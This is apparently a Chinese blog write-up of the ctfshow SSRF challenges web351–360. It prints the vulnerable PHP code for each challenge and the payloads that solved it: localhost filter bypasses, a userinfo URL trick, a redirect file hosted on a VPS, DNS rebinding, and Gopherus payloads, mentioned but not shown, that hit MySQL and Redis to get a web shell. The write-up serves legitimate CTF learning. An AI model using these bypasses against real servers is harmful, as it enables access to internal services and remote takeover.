yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. 未分类
  3. 正文

ctfshow SSRF

2022年3月7日 220点热度 0人点赞 0条评论

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

curl_exec显然是直接SSRF,url=http://127.0.0.1/flag.php,直接POST就行了

WEB352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

绕过很多,列举几种

127.0.1 、127.1、 127。0.0.1(127开头的都行)

url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

url=http://127.1/flag.php

进制转换也行,转进制:https://tool.520101.com/wangluo/jinzhizhuanhuan/

WEB353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

url=http://0/flag.php

WEB354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

应该是不跟随重定向,我试了短网址还有php设置header都没出,域名查DNS记录不是重定向,这个可以。

借用大佬提供的域名,http://sudo.cc->127.0.0.1

WEB355、356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

url=http://0/flag.php

(web355用http://127.1/flag.php也行,长度限制是5)

WEB357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

验证了IP,应该是要用正常IP,302重定向,直接在你的VPS上写一个重定向的php文件

<?php
header("Location: http://127.0.0.1/flag.php");
?>

然后输入你的url就行了

还有一种方法,这道题是验证IP,那我们完全可以让它验证的IP和实际访问的IP不一样~

给个DNS重绑定网站:rbndr.us dns rebinding service (cmpxchg8b.com)

详解看这篇:浅谈DNS重绑定漏洞 - 知乎 (zhihu.com)

简单来说,DNS重绑定就是让每一次访问域名,解析得到的都是不同的IP。

针对这道题,我们想实现的目标就是,在验证的时候,gethostbyname函数访问了域名,得到的是正常的IP,通过验证;但是在file_get_contents的时候,得到的是127.0.0.1本地IP

当然这个是有几率的,多试几次就ok了~

WEB358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

正则要求以http://ctf开头,show结尾

url=http://[email protected]/flag.php?show

其中,@前面是用户名,真正的host是127.0.0.1,?后面是参数,对请求内容无影响

WEB359

提示是SSRF打无密码mysql,显然考虑gopher协议,抓包发现一个returl参数,多半是SSRF的网址

直接用gopherus生成payload都不说了

关键是在传payload的时候还需要一次url编码!抓包可以看出来的

真的要注意细节,从头到尾要重新看一看,多观察...

抓包发SSRF直接访问1.php即可拿到shell,flag在/flag.txt里面

WEB360

一个裸的SSRF

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

说要打redis,一样直接生成payload,url参数发送,注意url编码

访问shell.php拿到shell

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年3月8日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS